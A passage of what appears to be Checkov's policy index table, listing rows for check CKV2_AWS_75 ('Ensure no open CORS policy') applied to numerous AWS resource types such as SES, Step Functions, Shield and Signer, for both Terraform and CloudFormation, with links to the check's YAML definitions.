[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5018 | CKV2_AWS_75              | resource                         | aws_servicecatalogappregistry_application                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5019 | CKV2_AWS_75              | resource                         | aws_servicecatalogappregistry_attribute_group                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5020 | CKV2_AWS_75              | resource                         | aws_servicecatalogappregistry_attribute_group                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5021 | CKV2_AWS_75              | resource                         | aws_servicecatalogappregistry_attribute_group_association                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5022 | CKV2_AWS_75              | resource                         | aws_servicecatalogappregistry_attribute_group_association                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5023 | CKV2_AWS_75              | resource                         | aws_servicequotas_service_quota                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5024 | CKV2_AWS_75              | resource                         | aws_servicequotas_service_quota                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5025 | CKV2_AWS_75              | resource                         | aws_servicequotas_template                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5026 | CKV2_AWS_75              | resource                         | aws_servicequotas_template                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5027 | CKV2_AWS_75              | resource                         | aws_servicequotas_template_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5028 | CKV2_AWS_75              | resource                         | aws_servicequotas_template_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5029 | CKV2_AWS_75              | resource                         | aws_ses_active_receipt_rule_set                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5030 | CKV2_AWS_75              | resource                         | aws_ses_active_receipt_rule_set                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5031 | CKV2_AWS_75              | resource                         | aws_ses_configuration_set                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5032 | CKV2_AWS_75              | resource                         | aws_ses_configuration_set                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5033 | CKV2_AWS_75              | resource                         | aws_ses_domain_dkim                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5034 | CKV2_AWS_75              | resource                         | aws_ses_domain_dkim                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5035 | CKV2_AWS_75              | resource                         | aws_ses_domain_identity                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5036 | CKV2_AWS_75              | resource                         | aws_ses_domain_identity                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5037 | CKV2_AWS_75              | resource                         | aws_ses_domain_identity_verification                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5038 | CKV2_AWS_75              | resource                         | aws_ses_domain_identity_verification                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5039 | CKV2_AWS_75              | resource                         | aws_ses_domain_mail_from                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5040 | CKV2_AWS_75              | resource                         | aws_ses_domain_mail_from                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5041 | CKV2_AWS_75              | resource                         | aws_ses_email_identity                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5042 | CKV2_AWS_75              | resource                         | aws_ses_email_identity                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5043 | CKV2_AWS_75              | resource                         | aws_ses_event_destination                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5044 | CKV2_AWS_75              | resource                         | aws_ses_event_destination                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5045 | CKV2_AWS_75              | resource                         | aws_ses_identity_notification_topic                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5046 | CKV2_AWS_75              | resource                         | aws_ses_identity_notification_topic                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5047 | CKV2_AWS_75              | resource                         | aws_ses_identity_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5048 | CKV2_AWS_75              | resource                         | aws_ses_identity_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5049 | CKV2_AWS_75              | resource                         | aws_ses_receipt_filter                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5050 | CKV2_AWS_75              | resource                         | aws_ses_receipt_filter                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5051 | CKV2_AWS_75              | resource                         | aws_ses_receipt_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5052 | CKV2_AWS_75              | resource                         | aws_ses_receipt_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5053 | CKV2_AWS_75              | resource                         | aws_ses_receipt_rule_set                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5054 | CKV2_AWS_75              | resource                         | aws_ses_receipt_rule_set                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5055 | CKV2_AWS_75              | resource                         | aws_ses_template                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5056 | CKV2_AWS_75              | resource                         | aws_ses_template                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5057 | CKV2_AWS_75              | resource                         | aws_sesv2_account_suppression_attributes                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5058 | CKV2_AWS_75              | resource                         | aws_sesv2_account_suppression_attributes                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5059 | CKV2_AWS_75              | resource                         | aws_sesv2_account_vdm_attributes                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5060 | CKV2_AWS_75              | resource                         | aws_sesv2_account_vdm_attributes                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5061 | CKV2_AWS_75              | resource                         | aws_sesv2_configuration_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5062 | CKV2_AWS_75              | resource                         | aws_sesv2_configuration_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5063 | CKV2_AWS_75              | resource                         | aws_sesv2_configuration_set_event_destination                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5064 | CKV2_AWS_75              | resource                         | aws_sesv2_configuration_set_event_destination                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5065 | CKV2_AWS_75              | resource                         | aws_sesv2_contact_list                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5066 | CKV2_AWS_75              | resource                         | aws_sesv2_contact_list                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5067 | CKV2_AWS_75              | resource                         | aws_sesv2_dedicated_ip_assignment                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5068 | CKV2_AWS_75              | resource                         | aws_sesv2_dedicated_ip_assignment                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5069 | CKV2_AWS_75              | resource                         | aws_sesv2_dedicated_ip_pool                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5070 | CKV2_AWS_75              | resource                         | aws_sesv2_dedicated_ip_pool                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5071 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5072 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5073 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity_feedback_attributes                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5074 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity_feedback_attributes                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5075 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity_mail_from_attributes                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5076 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity_mail_from_attributes                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5077 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5078 | CKV2_AWS_75              | resource                         | aws_sesv2_email_identity_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5079 | CKV2_AWS_75              | resource                         | aws_sfn_activity                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5080 | CKV2_AWS_75              | resource                         | aws_sfn_activity                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5081 | CKV2_AWS_75              | resource                         | aws_sfn_alias                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5082 | CKV2_AWS_75              | resource                         | aws_sfn_alias                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5083 | CKV2_AWS_75              | resource                         | aws_sfn_state_machine                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5084 | CKV2_AWS_75              | resource                         | aws_sfn_state_machine                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5085 | CKV2_AWS_75              | resource                         | aws_shield_application_layer_automatic_response                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5086 | CKV2_AWS_75              | resource                         | aws_shield_application_layer_automatic_response                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5087 | CKV2_AWS_75              | resource                         | aws_shield_drt_access_log_bucket_association                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5088 | CKV2_AWS_75              | resource                         | aws_shield_drt_access_log_bucket_association                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5089 | CKV2_AWS_75              | resource                         | aws_shield_drt_access_role_arn_association                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5090 | CKV2_AWS_75              | resource                         | aws_shield_drt_access_role_arn_association                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5091 | CKV2_AWS_75              | resource                         | aws_shield_proactive_engagement                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5092 | CKV2_AWS_75              | resource                         | aws_shield_proactive_engagement                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5093 | CKV2_AWS_75              | resource                         | aws_shield_protection                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5094 | CKV2_AWS_75              | resource                         | aws_shield_protection                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5095 | CKV2_AWS_75              | resource                         | aws_shield_protection_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5096 | CKV2_AWS_75              | resource                         | aws_shield_protection_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5097 | CKV2_AWS_75              | resource                         | aws_shield_protection_health_check_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5098 | CKV2_AWS_75              | resource                         | aws_shield_protection_health_check_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5099 | CKV2_AWS_75              | resource                         | aws_shield_subscription                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5100 | CKV2_AWS_75              | resource                         | aws_shield_subscription                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5101 | CKV2_AWS_75              | resource                         | aws_signer_signing_job                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5102 | CKV2_AWS_75              | resource                         | aws_signer_signing_job                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5103 | CKV2_AWS_75              | resource                         | aws_signer_signing_profile                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5104 | CKV2_AWS_75              | resource                         | aws_signer_signing_profile                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5105 | CKV2_AWS_75              | resource                         | aws_signer_signing_profile_permission                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5106 | CKV2_AWS_75              | resource                         | aws_signer_signing_profile_permission                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5107 | CKV2_AWS_75              | resource                         | aws_simpledb_domain                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5108 | CKV2_AWS_75              | resource                         | aws_simpledb_domain                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5109 | CKV2_AWS_75              | resource                         | aws_snapshot_create_volume_permission                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5110 | CKV2_AWS_75              | resource                         | aws_snapshot_create_volume_permission                               